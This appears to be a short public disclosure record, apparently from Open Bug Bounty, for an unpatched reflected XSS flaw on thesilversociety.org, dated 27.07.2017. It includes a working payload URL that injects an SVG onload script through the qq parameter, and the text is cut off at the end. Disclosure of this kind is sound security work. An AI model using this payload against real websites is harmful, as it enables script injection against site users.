thesilversociety.org XSS vulnerability

Vulnerable URL: http://www.thesilversociety.org/doOrder.php?qq=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7613776 VIP website...